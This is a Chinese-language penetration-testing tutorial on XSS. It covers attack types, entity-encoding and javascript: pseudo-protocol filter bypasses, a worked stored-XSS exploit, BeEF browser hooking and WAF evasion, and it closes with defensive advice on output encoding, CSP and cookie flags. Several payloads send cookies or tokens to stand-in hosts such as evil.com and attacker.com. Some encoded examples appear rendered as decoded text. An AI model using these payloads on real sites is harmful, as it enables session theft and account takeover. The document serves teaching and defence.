XSS攻击深度解析:HTML实体编码与JavaScript伪协议绕过实战
1. 项目概述:从“弹窗”到“接管”,XSS攻击的深度剖析
很多刚接触Web安全的朋友,一提到XSS(跨站脚本攻击),第一反应可能就是“哦,那个能弹个警告框的漏洞”。如果你也这么想,那可能就大大低估了它的威力。我干了十多年渗透测试,见过太多因为一个不起眼的XSS漏洞,导致整个后台沦陷、用户数据被批量盗取,甚至被当作“跳板”对内网发起攻击的真实案例。XSS的本质,是攻击者能够将恶意脚本代码“注入”到受信任的网页中,当其他用户浏览该页面时,浏览器会“忠实”地执行这些恶意代码。这就像在一家你常去的、信誉良好的咖啡馆,服务员(浏览器)端给你一杯被偷偷加了料的咖啡(网页),而你毫无防备地喝了下去。
这篇文章,我们不玩虚的,不搞那些教科书式的定义罗列。我会从一个实战老兵的视角,带你彻底搞懂XSS攻击中最核心、也最让新手头疼的两个高级技巧:HTML实体编码和JavaScript伪协议。为什么是它们?因为在实际的攻防对抗中,网站往往部署了各种过滤和拦截规则,直接写一个<script>alert(1)</script>就想成功?那几乎是不可能的。攻击者必须像“变形金刚”一样,对攻击载荷(Payload)进行各种编码和伪装,而实体编码和伪协议,就是绕过防御的两把“万能钥匙”。理解了它们,你才能真正看懂那些看似天书般的XSS利用代码,也才能在自己的项目中构建起更坚固的防线。
2. XSS攻击的三大类型与核心逻辑
在深入编码技巧之前,我们必须先建立对XSS攻击类型的整体认知。这决定了我们后续选择哪种攻击向量和编码策略。根据恶意脚本的存储和执行位置,XSS主要分为三类,它们的危害性和利用方式有显著区别。
2.1 反射型XSS:一次性的“钓鱼钩”
反射型XSS,也叫非持久型XSS,是最常见的一种。它的攻击过程像一次性的“钓鱼”。攻击者构造一个含有恶意脚本的URL,然后通过邮件、社交软件等手段诱骗受害者点击。服务器收到这个请求后,会“反射”般地将恶意脚本拼接进返回的HTML页面,发送给受害者的浏览器执行。
核心特征:
- 非持久化:恶意脚本不存储在服务器上,只存在于那个特定的URL中。
- 需要交互:必须诱骗用户主动点击那个恶意链接。
- 常见场景:搜索框、错误信息页面、URL参数回显等任何将用户输入直接输出到页面的地方。
一个典型的攻击链:
- 攻击者发现一个搜索功能,搜索关键词
keyword会直接显示在结果页面上,如:<p>您搜索的关键词是:keyword</p>。 - 攻击者构造URL:
http://vuln-site.com/search?q=<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>。 - 受害者点击此链接,浏览器向
vuln-site.com发起请求。 - 服务器返回的HTML中包含:
<p>您搜索的关键词是:<script>fetch(...)</script></p>。 - 受害者的浏览器解析并执行了这段脚本,将其Cookie悄无声息地发送到了攻击者的服务器
evil.com。
注意:现代浏览器(如Chrome、Edge)内置的XSS Auditor(或类似机制)会对反射型XSS进行一定程度的防护,但远非绝对安全,且DOM型XSS不受此影响。
2.2 存储型XSS:潜伏的“定时炸弹”
存储型XSS的危害性远大于反射型。攻击者将恶意脚本提交到网站服务器(如数据库、文件系统),当其他用户浏览到包含该恶意内容的页面时,脚本就会被执行。
核心特征:
- 持久化:恶意脚本被永久存储在服务器端。
- 影响广泛:所有访问到该恶意内容的用户都会中招,无需单独诱骗。
- 常见场景:论坛帖子、用户评论、个人简介、站内信、商品评价等所有支持用户提交并持久化展示内容的功能。
攻击影响: 想象一个博客平台的评论处存在存储型XSS。攻击者发表一篇包含恶意脚本的评论。此后,任何访问这篇博客文章的用户,其浏览器都会执行该脚本。攻击者可以大规模盗取用户会话Cookie、篡改页面内容、进行“挂马”(引导用户下载木马),甚至发起蠕虫攻击(如早年MySpace的Samy蠕虫),造成灾难性后果。
2.3 DOM型XSS:纯前端的“魔术戏法”
DOM型XSS是一种比较特殊的类型,其恶意代码的执行完全发生在客户端,不经过服务器端处理。漏洞源于前端JavaScript代码不安全地操作了DOM(文档对象模型),将用户可控的数据传递给了能够动态执行代码的“危险函数”(Sink)。
核心特征:
- 纯客户端:整个攻击链条不涉及服务器端的数据处理。服务器返回的可能是“干净”的HTML和JS,但JS代码逻辑有缺陷。
- 难以检测:传统的服务端日志监控和WAF(Web应用防火墙)可能完全看不到异常,因为恶意Payload在到达服务器时可能是正常的参数。
- 常见Sink点:
eval(),innerHTML,outerHTML,document.write(),setTimeout()/setInterval()的第一个参数为字符串时,以及location.href、src等属性的赋值操作。
一个简单示例: 假设页面有一段JS代码从URL的hash(#后面部分)获取内容并写入DOM:
// 假设URL是:http://example.com/page.html#<img src=x onerror=alert(1)> var userInput = window.location.hash.substring(1); document.getElementById("message").innerHTML = userInput; // 危险操作!攻击者只需让用户访问一个构造好的URL,恶意脚本就会被innerHTML解析并执行。服务器收到的请求只是/page.html,完全不知道hash里藏了什么。
理解这三者的区别至关重要。防御反射型和存储型XSS,重点在服务端的输入过滤和输出编码。而防御DOM型XSS,则必须规范前端JavaScript代码,对来自URL、表单等用户可控的数据进行严格的检查和净化,避免直接传递给危险的Sink。
3. 攻击实战核心:绕过过滤的编码艺术
当我们在一个输入框里尝试输入<script>alert(1)</script>,却发现页面要么弹窗被拦截,要么代码被直接显示为文本时,就意味着网站有基础的过滤机制。这时,我们就需要祭出编码和伪协议这些“魔法”来绕过防御。
3.1 HTML实体编码:给特殊字符“穿马甲”
HTML实体编码是为了在HTML文档中安全地显示预留字符(如<,>,&等)而设计的。浏览器在解析HTML时,会先将这些实体解码成对应的字符,再进行渲染和执行。
为什么它能用于XSS?因为一些过滤机制可能只进行简单的字符串匹配,寻找<script>、onerror=等关键词。如果我们把这些关键词的每个字符都转换成HTML实体,过滤规则就可能识别不出来,而浏览器最终却能正确解码并执行。
实体编码格式:
&#十进制数字;例如:<对应<&#x十六进制数字;例如:<对应<(大小写不敏感)
实战绕过示例: 假设网站过滤了<和>,但过滤不彻底。我们可以构造:
<!-- 原始Payload --> <img src=x onerror=alert(1)> <!-- 经过HTML实体编码后的Payload --> img src=x onerror=alert(1)>当这串“乱码”被输出到HTML中时,浏览器会先将其解码还原成<img src=x onerror=alert(1)>,然后创建图像元素,触发onerror事件,执行JavaScript。
更高级的嵌套编码: 有时,数据会经过多层处理。例如,用户输入先被插入到JavaScript字符串中,然后再被innerHTML写入页面。这时可以采用多层编码。
- 第一层(JS字符串内):对
alert(1)进行Unicode编码:\u0061\u006c\u0065\u0072\u0074(1)。 - 第二层(考虑URL上下文):将整个字符串进行URL编码:
%5cu0061%5cu006c%5cu0065%5cu0072%5cu0074(1)。 - 第三层(作为HTML属性值):再进行HTML实体编码:
%5cu0061...。
这种“套娃”式的编码,能有效绕过那些只进行单层、简单解码的WAF规则。
实操心得:不是所有位置都支持HTML实体编码。它主要用在HTML标签内部和属性值中。在
<script>标签内部的纯JavaScript代码区域,浏览器不会对其进行HTML实体解码。你需要根据Payload最终被解析的上下文环境,选择合适的编码方式。
3.2 JavaScript伪协议:在URL里“藏”代码
javascript:是一个特殊的URI协议。当浏览器遇到以javascript:开头的URL时,会执行冒号后面的JavaScript代码,而不是发起网络请求。
基本形式:javascript:alert(document.domain)
为什么它能用于XSS?因为它可以将JavaScript代码“隐藏”在看似普通的链接(<a>标签的href)、框架(<iframe>的src)甚至表单(<form>的action)中。这对于利用那些允许用户自定义链接、但过滤了<script>标签的场景非常有效。
常见利用点:
- 可自定义的链接/头像:
<a href="javascript:fetch('http://evil.com/steal?data='+localStorage.token)">点击领奖</a> - iframe的src属性:
<iframe src="javascript:document.write('<script>alert(1)</script>')"></iframe> - 图片的src属性(低版本IE等特定环境):
<img src="javascript:alert(1)">(现代浏览器已普遍修复)
配合编码绕过: 如果网站简单过滤了javascript:这个关键词,我们可以利用空白字符或编码来绕过。
- 插入空白/换行:
java
script:alert(1)(利用HTML实体
表示换行) - 利用URL编码:
javascrip%74:alert(1)(对字符t进行URL编码) - 多重编码组合:
javascript:alert(1)(将整个协议名进行HTML实体编码)
一个综合案例: 假设一个网站允许用户提交个人网站链接,并会在页面中生成:<a href="用户输入">个人主页</a>。它过滤了javascript:和<、>。 我们可以提交如下Payload:
javascript:alert(document.domain)前端生成的HTML为:
<a href="javascript:alert(document.domain)">个人主页</a>浏览器解析时:
- 先将
href属性值中的HTML实体解码,得到:javascript:alert(document.domain) - 识别出
javascript:协议,执行后面的代码。
注意事项:
javascript:伪协议的执行环境是当前页面的域。这意味着通过它执行的代码可以访问当前页面的DOM、Cookie(除非设置了HttpOnly)、LocalStorage等,与通过<script>标签引入的代码拥有相同的权限。但它不能直接跨域,因为它本质是在当前页面上下文中执行。
4. 从理论到实战:一个完整的XSS漏洞利用流程
理解了原理和技巧,我们通过一个模拟的实战场景来串联整个流程。假设我们目标是一个存在存储型XSS漏洞的简易留言板系统。
4.1 信息收集与漏洞探测
首先,我们需要找到注入点。留言板通常有两个关键交互:留言内容输入框和留言展示页面。
- 试探性输入:在留言框里,不要一上来就用
<script>标签。先输入一些特殊的“探针”字符,观察其被处理后的输出。- 输入:
‘ “ < > & - 观察:它们是被原样显示,变成了HTML实体(如
<),还是直接消失了?这能帮助我们判断服务端做了哪些过滤。
- 输入:
- 测试基础Payload:如果特殊字符没被过滤,尝试最简单的Payload。
- 输入:
<script>alert(document.domain)</script> - 或者:
<img src=x onerror=alert(1)> - 查看留言展示页面,看是否弹窗。如果弹窗,证明存在漏洞,且过滤非常弱。
- 输入:
- 分析过滤规则:如果弹窗失败,查看页面源代码(Ctrl+U),看我们的输入被如何处置了。
- 是否
<script>被删除或转义了? - 是否
onerror等事件属性被过滤? - 是否标签属性值必须用引号包裹?
- 这一步需要耐心,反复测试,揣摩开发者的过滤逻辑。
- 是否
4.2 构造绕过Payload
假设我们发现,系统过滤了<script>和on开头的事件处理器,但<img>标签和src属性是允许的。同时,它对javascript:协议进行了关键词匹配过滤。
我们的绕过思路可以是:利用<img>标签,但将src属性指向一个伪协议,并在协议名中插入编码绕过过滤。
构造Payload: 我们想让src执行JS代码,但直接写javascript:alert(1)会被过滤。我们可以利用HTML实体编码将javascript:这个词拆散。
- 确定最终想要的HTML:
<img src="javascript:alert(1)"> - 对
javascript:进行HTML实体编码(十六进制)。j是j,a是a,以此类推。得到:javascript: - 组装Payload:
<img src="javascript:alert(1)">
将这个Payload提交到留言板。
4.3 漏洞利用与危害验证
提交后,访问留言列表页面。如果漏洞存在且绕过成功,浏览器会:
- 解析HTML,创建
<img>元素。 - 处理
src属性,将实体编码javascript:解码为javascript:。 - 尝试加载
src,发现是javascript:协议,于是执行alert(1),成功弹窗。
但这只是开始。真正的攻击远不止弹窗。我们可以将alert(1)替换为更具危害的代码:
- 盗取Cookie:
<img src="javascript:fetch('http://attacker.com/steal?cookie='+document.cookie)">- 这将把当前用户的会话Cookie发送到攻击者控制的服务器
attacker.com。
- 这将把当前用户的会话Cookie发送到攻击者控制的服务器
- 键盘记录器:通过注入更复杂的JS,监听页面的
onkeypress事件,将按键信息外传。 - 钓鱼与篡改:使用
document.write()重写整个页面内容,伪造一个登录框,诱骗用户输入账号密码。 - 结合其他漏洞:如果用户是管理员,盗取其Cookie后可直接登录后台,进一步结合上传漏洞获取服务器权限。
4.4 使用专业工具:BeEF框架
手动构造Payload虽然灵活,但效率较低。在实际渗透测试中,我们常使用自动化框架,如BeEF(The Browser Exploitation Framework)。它提供了一个强大的平台,用于利用XSS漏洞对受害者浏览器进行持续控制。
基本使用流程:
- 启动BeEF:在Kali Linux中,通常只需在终端输入
beef-xss。它会启动服务,并给出访问管理界面的URL(如http://127.0.0.1:3000/ui/panel)和生成的“钩子”JS文件地址(如http://127.0.0.1:3000/hook.js)。 - 生成Hook Payload:我们的目标就是让受害者的浏览器加载这个
hook.js。Payload通常为:<script src="http://你的BeEF服务器IP:3000/hook.js"></script>。 - 注入与等待:将上述Payload通过XSS漏洞注入到目标网站中。一旦有用户(受害者)浏览了包含该Payload的页面,他的浏览器就会加载
hook.js,并与BeEF服务器建立连接。 - 控制浏览器:在BeEF的管理界面中,你会看到在线的“僵尸浏览器”。你可以向它发送数百条命令,例如:
- 获取Cookie、浏览器历史、本地存储数据。
- 发起网络请求(CSRF攻击)。
- 打开摄像头、麦克风(需用户授权)。
- 进行端口扫描(利用浏览器作为代理)。
- 与Metasploit联动,尝试进一步的漏洞利用。
BeEF将XSS从一个“一次性”的弹窗漏洞,变成了一个可持续交互的“后门”,极大地扩展了攻击面。
5. 高级绕过技巧与防御者视角
攻击者在不断进化,防御者必须想得更远。除了基础的实体编码和伪协议,还有一些高级技巧需要了解。
5.1 基于上下文的编码策略
Payload的编码方式必须匹配其最终被解析的“上下文”。这是绕过WAF和过滤规则的关键。
| 上下文类型 | 示例 | 需要转义/编码的字符 | 有效Payload示例 |
|---|---|---|---|
| HTML标签内 | <div>用户输入</div> | <,> | </div><script>alert(1)</script><div> |
| HTML属性值(无引号) | <input value=用户输入> | 空格,引号,> | x onmouseover=alert(1) |
| HTML属性值(双引号内) | <input value="用户输入"> | " | " onmouseover="alert(1) |
| HTML属性值(单引号内) | <input value='用户输入'> | ' | ' onmouseover='alert(1) |
| JavaScript字符串(双引号内) | <script>var a = "用户输入";</script> | \,", 换行符 | \");alert(1);// |
| JavaScript字符串(单引号内) | <script>var a = '用户输入';</script> | \,', 换行符 | \');alert(1);// |
| URL参数 | <a href="/search?q=用户输入"> | URL保留字符,如&,#,= | javascript:alert(1) |
实战技巧:使用“模糊测试”思路。针对一个输入点,系统地尝试不同上下文下的Payload。例如,先尝试闭合标签,再尝试闭合属性,再尝试在JS字符串中逃逸。工具如Burp Suite的Intruder或自定义的Fuzz字典可以极大提高效率。
5.2 利用不常见的标签和事件
当<script>、<img>、onerror、onload等被重点防御时,可以尝试一些“偏门”的HTML标签和事件。
- 标签:
<svg>,<audio>,<video>,<object>,<embed>,<details>的ontoggle事件等。 - 事件:
onfocus(适用于可聚焦元素如<input>)、onmouseenter、onauxclick、onbeforeinput等。 - 示例:
<svg onload=alert(1)> <input autofocus onfocus=alert(1)> <details ontoggle=alert(1) open> <!-- `open`属性使事件立即触发 -->
5.3 防御措施:构建多层次防线
作为开发者,绝不能只依赖某一种防御手段。一个健壮的防御体系应该是多层次的。
严格的输入验证与过滤(白名单原则):
- 不要试图用黑名单过滤所有“坏”字符,这永远防不住。
- 应该根据业务场景,定义明确的白名单。例如,用户名只允许字母数字,邮箱地址必须符合正则表达式,富文本内容使用严格的HTML净化库(如DOMPurify)。
- 位置:必须在服务端进行。客户端验证仅用于提升用户体验,可被轻易绕过。
上下文相关的输出编码:
- 这是防御XSS最有效、最根本的方法。在将数据输出到页面时,根据其所在的上下文,使用对应的编码函数。
- 输出到HTML内容:使用HTML实体编码。将
&,<,>,",'分别转换为&,<,>,",'。几乎所有后端框架都提供了此类函数(如PHP的htmlspecialchars,Python Jinja2的自动转义)。 - 输出到HTML属性:同样使用HTML实体编码,并确保属性值总是用引号包裹。
- 输出到JavaScript:使用JavaScript字符串编码。将数据放入JSON中,然后输出,是更安全的方式。
- 输出到URL:使用URL编码。
内容安全策略:
- CSP是一个重要的深度防御策略。通过HTTP响应头
Content-Security-Policy,告诉浏览器只允许执行来自特定来源的脚本、样式、图片等资源。 - 示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; - 这可以有效地阻止内联脚本(包括
javascript:伪协议和onclick等事件处理器)的执行,以及阻止加载外域恶意资源。即使网站存在XSS漏洞,CSP也能将损害限制在一定范围内。
- CSP是一个重要的深度防御策略。通过HTTP响应头
设置安全的Cookie属性:
HttpOnly:阻止JavaScript通过document.cookie访问Cookie,这是防御会话劫持的关键。Secure:仅通过HTTPS传输Cookie。SameSite:设置为Strict或Lax,可以有效防御CSRF攻击,并对某些XSS导致的Cookie滥用起到限制作用。
使用现代前端框架:
- 像React、Vue、Angular这样的现代框架,默认提供了良好的XSS防护。它们通过虚拟DOM和模板语法,在大多数情况下能自动对动态内容进行正确的转义。但开发者仍需警惕
v-html(Vue)或dangerouslySetInnerHTML(React)这类“危险”API的滥用。
- 像React、Vue、Angular这样的现代框架,默认提供了良好的XSS防护。它们通过虚拟DOM和模板语法,在大多数情况下能自动对动态内容进行正确的转义。但开发者仍需警惕
6. 常见问题排查与实战心得
在实际的渗透测试和代码审计中,你会遇到各种各样的情况。这里分享一些我踩过的坑和总结的经验。
问题1:Payload提交后,页面没有任何反应,查看源代码发现Payload被完整显示出来了,没有执行。
- 排查:这通常说明你的输入被当成了纯文本,而不是HTML代码。检查输出点是否使用了正确的上下文编码。例如,你是否将数据输出到了
<div>的textContent属性或类似的地方?这些地方不会解析HTML。你需要寻找能解析HTML的输出点,如innerHTML、document.write()或未转义的模板变量。
问题2:使用了实体编码,但浏览器没有解码执行。
- 排查:确认编码后的Payload被放置在正确的上下文中。HTML实体编码只在HTML解析阶段生效。如果你将编码后的Payload通过JavaScript的
innerHTML赋值,它会被解码执行。但如果你将其放在<script>标签内的JavaScript字符串里,它不会被当作HTML实体解码。此时你需要的是JavaScript Unicode编码(\u0061)。
问题3:javascript:伪协议在Chrome/Firefox最新版中不执行了。
- 现状:出于安全考虑,现代浏览器对
javascript:伪协议在<img>、<iframe>等标签的src属性中的执行进行了严格限制。但在<a>标签的href属性中,用户点击后仍会执行。此外,一些旧的、特殊的语法或结合其他漏洞(如CSP配置错误)可能仍有利用空间。不要依赖它作为主要攻击向量,但要了解其原理。
问题4:明明存在漏洞,但WAF总是拦截我的Payload。
- 策略:
- 静态混淆:使用大小写变换、插入空白字符(Tab、换行)、使用
String.fromCharCode()动态生成字符串。 - 编码混淆:尝试多重编码(HTML实体+URL编码)、使用罕见的Unicode字符的同形字(Homoglyphs)。
- 拆分与组合:将Payload拆分成多个参数或通过多个请求发送,在客户端通过JavaScript拼接。
- 利用WAF规则盲区:研究特定WAF的规则集。有些WAF可能对某些不常见的HTML标签、事件或协议检查不严。
- 终极思路:尝试寻找WAF后的真实服务器(如通过CDN配置错误)、或利用其他漏洞(如SSRF)从内部网络发起攻击。
- 静态混淆:使用大小写变换、插入空白字符(Tab、换行)、使用
个人心得: XSS的攻防是一场永无止境的“猫鼠游戏”。作为攻击方(白帽子),思维要发散,不要局限于常见的<script>标签。多看看HTML和JavaScript规范,了解有哪些“偏僻”的标签、属性和API可以被利用。作为防御方,一定要树立“所有用户输入都是不可信的”这一核心原则。实施白名单、进行上下文输出编码、部署CSP,这三板斧是基石。定期进行代码审计和渗透测试,使用自动化扫描工具(如Burp Suite、OWASP ZAP)作为辅助,但绝不能完全依赖工具,因为逻辑漏洞和高级绕过技巧往往需要人脑来发现。最后,保持对安全动态的关注,新的攻击手法和防御技术总是在不断涌现。